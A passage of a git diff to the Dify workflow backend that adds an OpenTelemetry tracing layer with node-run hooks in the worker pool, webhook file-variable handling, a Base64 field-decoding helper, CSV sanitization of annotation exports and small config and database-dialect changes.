+        self._default_parser: NodeOTelParser = cast(NodeOTelParser, DefaultNodeOTelParser())
+        self._is_disabled: bool = False
+        self._tracer: Tracer | None = None
+        self._build_parser_registry()
+        self._init_tracer()
+
+    def _init_tracer(self) -> None:
+        """Initialize OpenTelemetry tracer in constructor."""
+        if not (dify_config.ENABLE_OTEL or is_instrument_flag_enabled()):
+            self._is_disabled = True
+            return
+
+        try:
+            self._tracer = get_tracer(__name__)
+        except Exception as e:
+            logger.warning("Failed to get OpenTelemetry tracer: %s", e)
+            self._is_disabled = True
+
+    def _build_parser_registry(self) -> None:
+        """Initialize parser registry for node types."""
+        self._parsers = {
+            NodeType.TOOL: ToolNodeOTelParser(),
+        }
+
+    def _get_parser(self, node: Node) -> NodeOTelParser:
+        node_type = getattr(node, "node_type", None)
+        if isinstance(node_type, NodeType):
+            return self._parsers.get(node_type, self._default_parser)
+        return self._default_parser
+
+    @override
+    def on_graph_start(self) -> None:
+        """Called when graph execution starts."""
+        self._node_contexts.clear()
+
+    @override
+    def on_node_run_start(self, node: Node) -> None:
+        """
+        Called when a node starts execution.
+
+        Creates a span and establishes OTel context for automatic instrumentation.
+        """
+        if self._is_disabled:
+            return
+
+        try:
+            if not self._tracer:
+                return
+
+            execution_id = node.execution_id
+            if not execution_id:
+                return
+
+            parent_context = context_api.get_current()
+            span = self._tracer.start_span(
+                f"{node.title}",
+                kind=SpanKind.INTERNAL,
+                context=parent_context,
+            )
+
+            new_context = set_span_in_context(span)
+            token = context_api.attach(new_context)
+
+            self._node_contexts[execution_id] = _NodeSpanContext(span=span, token=token)
+
+        except Exception as e:
+            logger.warning("Failed to create OpenTelemetry span for node %s: %s", node.id, e)
+
+    @override
+    def on_node_run_end(self, node: Node, error: Exception | None) -> None:
+        """
+        Called when a node finishes execution.
+
+        Sets complete attributes, records exceptions, and ends the span.
+        """
+        if self._is_disabled:
+            return
+
+        try:
+            execution_id = node.execution_id
+            if not execution_id:
+                return
+            node_context = self._node_contexts.get(execution_id)
+            if not node_context:
+                return
+
+            span = node_context.span
+            parser = self._get_parser(node)
+            try:
+                parser.parse(node=node, span=span, error=error)
+                span.end()
+            finally:
+                token = node_context.token
+                if token is not None:
+                    try:
+                        context_api.detach(token)
+                    except Exception:
+                        logger.warning("Failed to detach OpenTelemetry token: %s", token)
+                self._node_contexts.pop(execution_id, None)
+
+        except Exception as e:
+            logger.warning("Failed to end OpenTelemetry span for node %s: %s", node.id, e)
+
+    @override
+    def on_event(self, event) -> None:
+        """Not used in this layer."""
+        pass
+
+    @override
+    def on_graph_end(self, error: Exception | None) -> None:
+        """Called when graph execution ends."""
+        if self._node_contexts:
+            logger.warning(
+                "ObservabilityLayer: %d node spans were not properly ended",
+                len(self._node_contexts),
+            )
+            self._node_contexts.clear()
diff --git a/api/core/workflow/graph_engine/worker.py b/api/core/workflow/graph_engine/worker.py
index 73e59ee298..e37a08ae47 100644
--- a/api/core/workflow/graph_engine/worker.py
+++ b/api/core/workflow/graph_engine/worker.py
@@ -9,6 +9,7 @@ import contextvars
 import queue
 import threading
 import time
+from collections.abc import Sequence
 from datetime import datetime
 from typing import final
 from uuid import uuid4
@@ -17,6 +18,7 @@ from flask import Flask
 from typing_extensions import override
 
 from core.workflow.graph import Graph
+from core.workflow.graph_engine.layers.base import GraphEngineLayer
 from core.workflow.graph_events import GraphNodeEventBase, NodeRunFailedEvent
 from core.workflow.nodes.base.node import Node
 from libs.flask_utils import preserve_flask_contexts
@@ -39,6 +41,7 @@ class Worker(threading.Thread):
         ready_queue: ReadyQueue,
         event_queue: queue.Queue[GraphNodeEventBase],
         graph: Graph,
+        layers: Sequence[GraphEngineLayer],
         worker_id: int = 0,
         flask_app: Flask | None = None,
         context_vars: contextvars.Context | None = None,
@@ -50,6 +53,7 @@ class Worker(threading.Thread):
             ready_queue: Ready queue containing node IDs ready for execution
             event_queue: Queue for pushing execution events
             graph: Graph containing nodes to execute
+            layers: Graph engine layers for node execution hooks
             worker_id: Unique identifier for this worker
             flask_app: Optional Flask application for context preservation
             context_vars: Optional context variables to preserve in worker thread
@@ -63,6 +67,7 @@ class Worker(threading.Thread):
         self._context_vars = context_vars
         self._stop_event = threading.Event()
         self._last_task_time = time.time()
+        self._layers = layers if layers is not None else []
 
     def stop(self) -> None:
         """Signal the worker to stop processing."""
@@ -122,20 +127,51 @@ class Worker(threading.Thread):
         Args:
             node: The node instance to execute
         """
-        # Execute the node with preserved context if Flask app is provided
+        node.ensure_execution_id()
+
+        error: Exception | None = None
+
         if self._flask_app and self._context_vars:
             with preserve_flask_contexts(
                 flask_app=self._flask_app,
                 context_vars=self._context_vars,
             ):
-                # Execute the node
+                self._invoke_node_run_start_hooks(node)
+                try:
+                    node_events = node.run()
+                    for event in node_events:
+                        self._event_queue.put(event)
+                except Exception as exc:
+                    error = exc
+                    raise
+                finally:
+                    self._invoke_node_run_end_hooks(node, error)
+        else:
+            self._invoke_node_run_start_hooks(node)
+            try:
                 node_events = node.run()
                 for event in node_events:
-                    # Forward event to dispatcher immediately for streaming
                     self._event_queue.put(event)
-        else:
-            # Execute without context preservation
-            node_events = node.run()
-            for event in node_events:
-                # Forward event to dispatcher immediately for streaming
-                self._event_queue.put(event)
+            except Exception as exc:
+                error = exc
+                raise
+            finally:
+                self._invoke_node_run_end_hooks(node, error)
+
+    def _invoke_node_run_start_hooks(self, node: Node) -> None:
+        """Invoke on_node_run_start hooks for all layers."""
+        for layer in self._layers:
+            try:
+                layer.on_node_run_start(node)
+            except Exception:
+                # Silently ignore layer errors to prevent disrupting node execution
+                continue
+
+    def _invoke_node_run_end_hooks(self, node: Node, error: Exception | None) -> None:
+        """Invoke on_node_run_end hooks for all layers."""
+        for layer in self._layers:
+            try:
+                layer.on_node_run_end(node, error)
+            except Exception:
+                # Silently ignore layer errors to prevent disrupting node execution
+                continue
diff --git a/api/core/workflow/graph_engine/worker_management/worker_pool.py b/api/core/workflow/graph_engine/worker_management/worker_pool.py
index a9aada9ea5..5b9234586b 100644
--- a/api/core/workflow/graph_engine/worker_management/worker_pool.py
+++ b/api/core/workflow/graph_engine/worker_management/worker_pool.py
@@ -14,6 +14,7 @@ from configs import dify_config
 from core.workflow.graph import Graph
 from core.workflow.graph_events import GraphNodeEventBase
 
+from ..layers.base import GraphEngineLayer
 from ..ready_queue import ReadyQueue
 from ..worker import Worker
 
@@ -39,6 +40,7 @@ class WorkerPool:
         ready_queue: ReadyQueue,
         event_queue: queue.Queue[GraphNodeEventBase],
         graph: Graph,
+        layers: list[GraphEngineLayer],
         flask_app: "Flask | None" = None,
         context_vars: "Context | None" = None,
         min_workers: int | None = None,
@@ -53,6 +55,7 @@ class WorkerPool:
             ready_queue: Ready queue for nodes ready for execution
             event_queue: Queue for worker events
             graph: The workflow graph
+            layers: Graph engine layers for node execution hooks
             flask_app: Optional Flask app for context preservation
             context_vars: Optional context variables
             min_workers: Minimum number of workers
@@ -65,6 +68,7 @@ class WorkerPool:
         self._graph = graph
         self._flask_app = flask_app
         self._context_vars = context_vars
+        self._layers = layers
 
         # Scaling parameters with defaults
         self._min_workers = min_workers or dify_config.GRAPH_ENGINE_MIN_WORKERS
@@ -144,6 +148,7 @@ class WorkerPool:
             ready_queue=self._ready_queue,
             event_queue=self._event_queue,
             graph=self._graph,
+            layers=self._layers,
             worker_id=worker_id,
             flask_app=self._flask_app,
             context_vars=self._context_vars,
diff --git a/api/core/workflow/nodes/base/node.py b/api/core/workflow/nodes/base/node.py
index c2e1105971..8ebba3659c 100644
--- a/api/core/workflow/nodes/base/node.py
+++ b/api/core/workflow/nodes/base/node.py
@@ -244,6 +244,15 @@ class Node(Generic[NodeDataT]):
     def graph_init_params(self) -> "GraphInitParams":
         return self._graph_init_params
 
+    @property
+    def execution_id(self) -> str:
+        return self._node_execution_id
+
+    def ensure_execution_id(self) -> str:
+        if not self._node_execution_id:
+            self._node_execution_id = str(uuid4())
+        return self._node_execution_id
+
     def _hydrate_node_data(self, data: Mapping[str, Any]) -> NodeDataT:
         return cast(NodeDataT, self._node_data_type.model_validate(data))
 
@@ -256,14 +265,12 @@ class Node(Generic[NodeDataT]):
         raise NotImplementedError
 
     def run(self) -> Generator[GraphNodeEventBase, None, None]:
-        # Generate a single node execution ID to use for all events
-        if not self._node_execution_id:
-            self._node_execution_id = str(uuid4())
+        execution_id = self.ensure_execution_id()
         self._start_at = naive_utc_now()
 
         # Create and push start event with required fields
         start_event = NodeRunStartedEvent(
-            id=self._node_execution_id,
+            id=execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.title,
@@ -321,7 +328,7 @@ class Node(Generic[NodeDataT]):
                 if isinstance(event, NodeEventBase):  # pyright: ignore[reportUnnecessaryIsInstance]
                     yield self._dispatch(event)
                 elif isinstance(event, GraphNodeEventBase) and not event.in_iteration_id and not event.in_loop_id:  # pyright: ignore[reportUnnecessaryIsInstance]
-                    event.id = self._node_execution_id
+                    event.id = self.execution_id
                     yield event
                 else:
                     yield event
@@ -333,7 +340,7 @@ class Node(Generic[NodeDataT]):
                 error_type="WorkflowNodeError",
             )
             yield NodeRunFailedEvent(
-                id=self._node_execution_id,
+                id=self.execution_id,
                 node_id=self._node_id,
                 node_type=self.node_type,
                 start_at=self._start_at,
@@ -512,7 +519,7 @@ class Node(Generic[NodeDataT]):
         match result.status:
             case WorkflowNodeExecutionStatus.FAILED:
                 return NodeRunFailedEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self.id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -521,7 +528,7 @@ class Node(Generic[NodeDataT]):
                 )
             case WorkflowNodeExecutionStatus.SUCCEEDED:
                 return NodeRunSucceededEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self.id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -537,7 +544,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: StreamChunkEvent) -> NodeRunStreamChunkEvent:
         return NodeRunStreamChunkEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             selector=event.selector,
@@ -550,7 +557,7 @@ class Node(Generic[NodeDataT]):
         match event.node_run_result.status:
             case WorkflowNodeExecutionStatus.SUCCEEDED:
                 return NodeRunSucceededEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self._node_id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -558,7 +565,7 @@ class Node(Generic[NodeDataT]):
                 )
             case WorkflowNodeExecutionStatus.FAILED:
                 return NodeRunFailedEvent(
-                    id=self._node_execution_id,
+                    id=self.execution_id,
                     node_id=self._node_id,
                     node_type=self.node_type,
                     start_at=self._start_at,
@@ -573,7 +580,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: PauseRequestedEvent) -> NodeRunPauseRequestedEvent:
         return NodeRunPauseRequestedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_run_result=NodeRunResult(status=WorkflowNodeExecutionStatus.PAUSED),
@@ -583,7 +590,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: AgentLogEvent) -> NodeRunAgentLogEvent:
         return NodeRunAgentLogEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             message_id=event.message_id,
@@ -599,7 +606,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopStartedEvent) -> NodeRunLoopStartedEvent:
         return NodeRunLoopStartedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -612,7 +619,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopNextEvent) -> NodeRunLoopNextEvent:
         return NodeRunLoopNextEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -623,7 +630,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopSucceededEvent) -> NodeRunLoopSucceededEvent:
         return NodeRunLoopSucceededEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -637,7 +644,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: LoopFailedEvent) -> NodeRunLoopFailedEvent:
         return NodeRunLoopFailedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -652,7 +659,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationStartedEvent) -> NodeRunIterationStartedEvent:
         return NodeRunIterationStartedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -665,7 +672,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationNextEvent) -> NodeRunIterationNextEvent:
         return NodeRunIterationNextEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -676,7 +683,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationSucceededEvent) -> NodeRunIterationSucceededEvent:
         return NodeRunIterationSucceededEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -690,7 +697,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: IterationFailedEvent) -> NodeRunIterationFailedEvent:
         return NodeRunIterationFailedEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             node_title=self.node_data.title,
@@ -705,7 +712,7 @@ class Node(Generic[NodeDataT]):
     @_dispatch.register
     def _(self, event: RunRetrieverResourceEvent) -> NodeRunRetrieverResourceEvent:
         return NodeRunRetrieverResourceEvent(
-            id=self._node_execution_id,
+            id=self.execution_id,
             node_id=self._node_id,
             node_type=self.node_type,
             retriever_resources=event.retriever_resources,
diff --git a/api/core/workflow/nodes/trigger_webhook/node.py b/api/core/workflow/nodes/trigger_webhook/node.py
index 3631c8653d..ec8c4b8ee3 100644
--- a/api/core/workflow/nodes/trigger_webhook/node.py
+++ b/api/core/workflow/nodes/trigger_webhook/node.py
@@ -1,14 +1,22 @@
+import logging
 from collections.abc import Mapping
 from typing import Any
 
+from core.file import FileTransferMethod
+from core.variables.types import SegmentType
+from core.variables.variables import FileVariable
 from core.workflow.constants import SYSTEM_VARIABLE_NODE_ID
 from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
 from core.workflow.enums import NodeExecutionType, NodeType
 from core.workflow.node_events import NodeRunResult
 from core.workflow.nodes.base.node import Node
+from factories import file_factory
+from factories.variable_factory import build_segment_with_type
 
 from .entities import ContentType, WebhookData
 
+logger = logging.getLogger(__name__)
+
 
 class TriggerWebhookNode(Node[WebhookData]):
     node_type = NodeType.TRIGGER_WEBHOOK
@@ -60,6 +68,34 @@ class TriggerWebhookNode(Node[WebhookData]):
             outputs=outputs,
         )
 
+    def generate_file_var(self, param_name: str, file: dict):
+        related_id = file.get("related_id")
+        transfer_method_value = file.get("transfer_method")
+        if transfer_method_value:
+            transfer_method = FileTransferMethod.value_of(transfer_method_value)
+            match transfer_method:
+                case FileTransferMethod.LOCAL_FILE | FileTransferMethod.REMOTE_URL:
+                    file["upload_file_id"] = related_id
+                case FileTransferMethod.TOOL_FILE:
+                    file["tool_file_id"] = related_id
+                case FileTransferMethod.DATASOURCE_FILE:
+                    file["datasource_file_id"] = related_id
+
+            try:
+                file_obj = file_factory.build_from_mapping(
+                    mapping=file,
+                    tenant_id=self.tenant_id,
+                )
+                file_segment = build_segment_with_type(SegmentType.FILE, file_obj)
+                return FileVariable(name=param_name, value=file_segment.value, selector=[self.id, param_name])
+            except ValueError:
+                logger.error(
+                    "Failed to build FileVariable for webhook file parameter %s",
+                    param_name,
+                    exc_info=True,
+                )
+        return None
+
     def _extract_configured_outputs(self, webhook_inputs: dict[str, Any]) -> dict[str, Any]:
         """Extract outputs based on node configuration from webhook inputs."""
         outputs = {}
@@ -107,18 +143,33 @@ class TriggerWebhookNode(Node[WebhookData]):
                 outputs[param_name] = str(webhook_data.get("body", {}).get("raw", ""))
                 continue
             elif self.node_data.content_type == ContentType.BINARY:
-                outputs[param_name] = webhook_data.get("body", {}).get("raw", b"")
+                raw_data: dict = webhook_data.get("body", {}).get("raw", {})
+                file_var = self.generate_file_var(param_name, raw_data)
+                if file_var:
+                    outputs[param_name] = file_var
+                else:
+                    outputs[param_name] = raw_data
                 continue
 
             if param_type == "file":
                 # Get File object (already processed by webhook controller)
-                file_obj = webhook_data.get("files", {}).get(param_name)
-                outputs[param_name] = file_obj
+                files = webhook_data.get("files", {})
+                if files and isinstance(files, dict):
+                    file = files.get(param_name)
+                    if file and isinstance(file, dict):
+                        file_var = self.generate_file_var(param_name, file)
+                        if file_var:
+                            outputs[param_name] = file_var
+                        else:
+                            outputs[param_name] = files
+                    else:
+                        outputs[param_name] = files
+                else:
+                    outputs[param_name] = files
             else:
                 # Get regular body parameter
                 outputs[param_name] = webhook_data.get("body", {}).get(param_name)
 
         # Include raw webhook data for debugging/advanced use
         outputs["_webhook_raw"] = webhook_data
-
         return outputs
diff --git a/api/core/workflow/workflow_entry.py b/api/core/workflow/workflow_entry.py
index d4ec29518a..ddf545bb34 100644
--- a/api/core/workflow/workflow_entry.py
+++ b/api/core/workflow/workflow_entry.py
@@ -14,7 +14,7 @@ from core.workflow.errors import WorkflowNodeRunFailedError
 from core.workflow.graph import Graph
 from core.workflow.graph_engine import GraphEngine
 from core.workflow.graph_engine.command_channels import InMemoryChannel
-from core.workflow.graph_engine.layers import DebugLoggingLayer, ExecutionLimitsLayer
+from core.workflow.graph_engine.layers import DebugLoggingLayer, ExecutionLimitsLayer, ObservabilityLayer
 from core.workflow.graph_engine.protocols.command_channel import CommandChannel
 from core.workflow.graph_events import GraphEngineEvent, GraphNodeEventBase, GraphRunFailedEvent
 from core.workflow.nodes import NodeType
@@ -23,6 +23,7 @@ from core.workflow.nodes.node_mapping import NODE_TYPE_CLASSES_MAPPING
 from core.workflow.runtime import GraphRuntimeState, VariablePool
 from core.workflow.system_variable import SystemVariable
 from core.workflow.variable_loader import DUMMY_VARIABLE_LOADER, VariableLoader, load_into_variable_pool
+from extensions.otel.runtime import is_instrument_flag_enabled
 from factories import file_factory
 from models.enums import UserFrom
 from models.workflow import Workflow
@@ -98,6 +99,10 @@ class WorkflowEntry:
         )
         self.graph_engine.layer(limits_layer)
 
+        # Add observability layer when OTel is enabled
+        if dify_config.ENABLE_OTEL or is_instrument_flag_enabled():
+            self.graph_engine.layer(ObservabilityLayer())
+
     def run(self) -> Generator[GraphEngineEvent, None, None]:
         graph_engine = self.graph_engine
 
diff --git a/api/extensions/ext_login.py b/api/extensions/ext_login.py
index 5cbdd4db12..74299956c0 100644
--- a/api/extensions/ext_login.py
+++ b/api/extensions/ext_login.py
@@ -22,8 +22,8 @@ login_manager = flask_login.LoginManager()
 @login_manager.request_loader
 def load_user_from_request(request_from_flask_login):
     """Load user based on the request."""
-    # Skip authentication for documentation endpoints (only when Swagger is enabled)
-    if dify_config.swagger_ui_enabled and request.path.endswith((dify_config.SWAGGER_UI_PATH, "/swagger.json")):
+    # Skip authentication for documentation endpoints
+    if dify_config.SWAGGER_UI_ENABLED and request.path.endswith((dify_config.SWAGGER_UI_PATH, "/swagger.json")):
         return None
 
     auth_token = extract_access_token(request)
diff --git a/api/extensions/otel/decorators/base.py b/api/extensions/otel/decorators/base.py
index 9604a3b6d5..14221d24dd 100644
--- a/api/extensions/otel/decorators/base.py
+++ b/api/extensions/otel/decorators/base.py
@@ -1,5 +1,4 @@
 import functools
-import os
 from collections.abc import Callable
 from typing import Any, TypeVar, cast
 
@@ -7,22 +6,13 @@ from opentelemetry.trace import get_tracer
 
 from configs import dify_config
 from extensions.otel.decorators.handler import SpanHandler
+from extensions.otel.runtime import is_instrument_flag_enabled
 
 T = TypeVar("T", bound=Callable[..., Any])
 
 _HANDLER_INSTANCES: dict[type[SpanHandler], SpanHandler] = {SpanHandler: SpanHandler()}
 
 
-def _is_instrument_flag_enabled() -> bool:
-    """
-    Check if external instrumentation is enabled via environment variable.
-
-    Third-party non-invasive instrumentation agents set this flag to coordinate
-    with Dify's manual OpenTelemetry instrumentation.
-    """
-    return os.getenv("ENABLE_OTEL_FOR_INSTRUMENT", "").strip().lower() == "true"
-
-
 def _get_handler_instance(handler_class: type[SpanHandler]) -> SpanHandler:
     """Get or create a singleton instance of the handler class."""
     if handler_class not in _HANDLER_INSTANCES:
@@ -43,7 +33,7 @@ def trace_span(handler_class: type[SpanHandler] | None = None) -> Callable[[T],
     def decorator(func: T) -> T:
         @functools.wraps(func)
         def wrapper(*args: Any, **kwargs: Any) -> Any:
-            if not (dify_config.ENABLE_OTEL or _is_instrument_flag_enabled()):
+            if not (dify_config.ENABLE_OTEL or is_instrument_flag_enabled()):
                 return func(*args, **kwargs)
 
             handler = _get_handler_instance(handler_class or SpanHandler)
diff --git a/api/extensions/otel/runtime.py b/api/extensions/otel/runtime.py
index 16f5ccf488..a7181d2683 100644
--- a/api/extensions/otel/runtime.py
+++ b/api/extensions/otel/runtime.py
@@ -1,4 +1,5 @@
 import logging
+import os
 import sys
 from typing import Union
 
@@ -71,3 +72,13 @@ def init_celery_worker(*args, **kwargs):
         if dify_config.DEBUG:
             logger.info("Initializing OpenTelemetry for Celery worker")
         CeleryInstrumentor(tracer_provider=tracer_provider, meter_provider=metric_provider).instrument()
+
+
+def is_instrument_flag_enabled() -> bool:
+    """
+    Check if external instrumentation is enabled via environment variable.
+
+    Third-party non-invasive instrumentation agents set this flag to coordinate
+    with Dify's manual OpenTelemetry instrumentation.
+    """
+    return os.getenv("ENABLE_OTEL_FOR_INSTRUMENT", "").strip().lower() == "true"
diff --git a/api/factories/file_factory.py b/api/factories/file_factory.py
index 737a79f2b0..bd71f18af2 100644
--- a/api/factories/file_factory.py
+++ b/api/factories/file_factory.py
@@ -1,3 +1,4 @@
+import logging
 import mimetypes
 import os
 import re
@@ -17,6 +18,8 @@ from core.helper import ssrf_proxy
 from extensions.ext_database import db
 from models import MessageFile, ToolFile, UploadFile
 
+logger = logging.getLogger(__name__)
+
 
 def build_from_message_files(
     *,
@@ -356,15 +359,20 @@ def _build_from_tool_file(
     transfer_method: FileTransferMethod,
     strict_type_validation: bool = False,
 ) -> File:
+    # Backward/interop compatibility: allow tool_file_id to come from related_id or URL
+    tool_file_id = mapping.get("tool_file_id")
+
+    if not tool_file_id:
+        raise ValueError(f"ToolFile {tool_file_id} not found")
     tool_file = db.session.scalar(
         select(ToolFile).where(
-            ToolFile.id == mapping.get("tool_file_id"),
+            ToolFile.id == tool_file_id,
             ToolFile.tenant_id == tenant_id,
         )
     )
 
     if tool_file is None:
-        raise ValueError(f"ToolFile {mapping.get('tool_file_id')} not found")
+        raise ValueError(f"ToolFile {tool_file_id} not found")
 
     extension = "." + tool_file.file_key.split(".")[-1] if "." in tool_file.file_key else ".bin"
 
@@ -402,10 +410,13 @@ def _build_from_datasource_file(
     transfer_method: FileTransferMethod,
     strict_type_validation: bool = False,
 ) -> File:
+    datasource_file_id = mapping.get("datasource_file_id")
+    if not datasource_file_id:
+        raise ValueError(f"DatasourceFile {datasource_file_id} not found")
     datasource_file = (
         db.session.query(UploadFile)
         .where(
-            UploadFile.id == mapping.get("datasource_file_id"),
+            UploadFile.id == datasource_file_id,
             UploadFile.tenant_id == tenant_id,
         )
         .first()
diff --git a/api/libs/encryption.py b/api/libs/encryption.py
new file mode 100644
index 0000000000..81be8cce97
--- /dev/null
+++ b/api/libs/encryption.py
@@ -0,0 +1,66 @@
+"""
+Field Encoding/Decoding Utilities
+
+Provides Base64 decoding for sensitive fields (password, verification code)
+received from the frontend.
+
+Note: This uses Base64 encoding for obfuscation, not cryptographic encryption.
+Real security relies on HTTPS for transport layer encryption.
+"""
+
+import base64
+import logging
+
+logger = logging.getLogger(__name__)
+
+
+class FieldEncryption:
+    """Handle decoding of sensitive fields during transmission"""
+
+    @classmethod
+    def decrypt_field(cls, encoded_text: str) -> str | None:
+        """
+        Decode Base64 encoded field from frontend.
+
+        Args:
+            encoded_text: Base64 encoded text from frontend
+
+        Returns:
+            Decoded plaintext, or None if decoding fails
+        """
+        try:
+            # Decode base64
+            decoded_bytes = base64.b64decode(encoded_text)
+            decoded_text = decoded_bytes.decode("utf-8")
+            logger.debug("Field decoding successful")
+            return decoded_text
+
+        except Exception:
+            # Decoding failed - return None to trigger error in caller
+            return None
+
+    @classmethod
+    def decrypt_password(cls, encrypted_password: str) -> str | None:
+        """
+        Decrypt password field
+
+        Args:
+            encrypted_password: Encrypted password from frontend
+
+        Returns:
+            Decrypted password or None if decryption fails
+        """
+        return cls.decrypt_field(encrypted_password)
+
+    @classmethod
+    def decrypt_verification_code(cls, encrypted_code: str) -> str | None:
+        """
+        Decrypt verification code field
+
+        Args:
+            encrypted_code: Encrypted code from frontend
+
+        Returns:
+            Decrypted code or None if decryption fails
+        """
+        return cls.decrypt_field(encrypted_code)
diff --git a/api/libs/external_api.py b/api/libs/external_api.py
index 31ca2b3e08..61a90ee4a9 100644
--- a/api/libs/external_api.py
+++ b/api/libs/external_api.py
@@ -131,28 +131,12 @@ class ExternalApi(Api):
     }
 
     def __init__(self, app: Blueprint | Flask, *args, **kwargs):
-        import logging
-        import os
-
         kwargs.setdefault("authorizations", self._authorizations)
         kwargs.setdefault("security", "Bearer")
-
-        # Security: Use computed swagger_ui_enabled which respects DEPLOY_ENV
-        swagger_enabled = dify_config.swagger_ui_enabled
-        kwargs["add_specs"] = swagger_enabled
-        kwargs["doc"] = dify_config.SWAGGER_UI_PATH if swagger_enabled else False
+        kwargs["add_specs"] = dify_config.SWAGGER_UI_ENABLED
+        kwargs["doc"] = dify_config.SWAGGER_UI_PATH if dify_config.SWAGGER_UI_ENABLED else False
 
         # manual separate call on construction and init_app to ensure configs in kwargs effective
         super().__init__(app=None, *args, **kwargs)
         self.init_app(app, **kwargs)
         register_external_error_handlers(self)
-
-        # Security: Log warning when Swagger is enabled in production environment
-        deploy_env = os.environ.get("DEPLOY_ENV", "PRODUCTION")
-        if swagger_enabled and deploy_env.upper() == "PRODUCTION":
-            logger = logging.getLogger(__name__)
-            logger.warning(
-                "SECURITY WARNING: Swagger UI is ENABLED in PRODUCTION environment. "
-                "This may expose sensitive API documentation. "
-                "Set SWAGGER_UI_ENABLED=false or remove the explicit setting to disable."
-            )
diff --git a/api/libs/helper.py b/api/libs/helper.py
index abc81d1fde..4a7afe0bda 100644
--- a/api/libs/helper.py
+++ b/api/libs/helper.py
@@ -184,7 +184,7 @@ def timezone(timezone_string):
 def convert_datetime_to_date(field, target_timezone: str = ":tz"):
     if dify_config.DB_TYPE == "postgresql":
         return f"DATE(DATE_TRUNC('day', {field} AT TIME ZONE 'UTC' AT TIME ZONE {target_timezone}))"
-    elif dify_config.DB_TYPE == "mysql":
+    elif dify_config.DB_TYPE in ["mysql", "oceanbase", "seekdb"]:
         return f"DATE(CONVERT_TZ({field}, 'UTC', {target_timezone}))"
     else:
         raise NotImplementedError(f"Unsupported database type: {dify_config.DB_TYPE}")
diff --git a/api/services/annotation_service.py b/api/services/annotation_service.py
index f750186ab0..d03cbddceb 100644
--- a/api/services/annotation_service.py
+++ b/api/services/annotation_service.py
@@ -8,6 +8,7 @@ from sqlalchemy import or_, select
 from werkzeug.datastructures import FileStorage
 from werkzeug.exceptions import NotFound
 
+from core.helper.csv_sanitizer import CSVSanitizer
 from extensions.ext_database import db
 from extensions.ext_redis import redis_client
 from libs.datetime_utils import naive_utc_now
@@ -158,6 +159,12 @@ class AppAnnotationService:
 
     @classmethod
     def export_annotation_list_by_app_id(cls, app_id: str):
+        """
+        Export all annotations for an app with CSV injection protection.
+
+        Sanitizes question and content fields to prevent formula injection attacks
+        when exported to CSV format.
+        """
         # get app info
         _, current_tenant_id = current_account_with_tenant()
         app = (
@@ -174,6 +181,16 @@ class AppAnnotationService:
             .order_by(MessageAnnotation.created_at.desc())
             .all()
         )
+
+        # Sanitize CSV-injectable fields to prevent formula injection
+        for annotation in annotations:
+            # Sanitize question field if present
+            if annotation.question:
+                annotation.question = CSVSanitizer.sanitize_value(annotation.question)
+            # Sanitize content field (answer)
+            if annotation.content:
+                annotation.content = CSVSanitizer.sanitize_value(annotation.content)
+
         return annotations
 
     @classmethod
diff --git a/api/services/dataset_service.py b/api/services/dataset_service.py
index 0df883ea98..970192fde5 100644
--- a/api/services/dataset_service.py
+++ b/api/services/dataset_service.py
@@ -1419,7 +1419,7 @@ class DocumentService:
 
         document.name = name
         db.session.add(document)
-        if document.data_source_info_dict:
+        if document.data_source_info_dict and "upload_file_id" in document.data_source_info_dict:
             db.session.query(UploadFile).where(
                 UploadFile.id == document.data_source_info_dict["upload_file_id"]
             ).update({UploadFile.name: name})
diff --git a/api/services/trigger/webhook_service.py b/api/services/trigger/webhook_service.py
index 4b3e1330fd..5c4607d400 100644
--- a/api/services/trigger/webhook_service.py
+++ b/api/services/trigger/webhook_service.py
@@ -33,6 +33,11 @@ from services.errors.app import QuotaExceededError
 from services.trigger.app_trigger_service import AppTriggerService
 from services.workflow.entities import WebhookTriggerData
 
+try:
+    import magic
+except ImportError:
+    magic = None  # type: ignore[assignment]
+
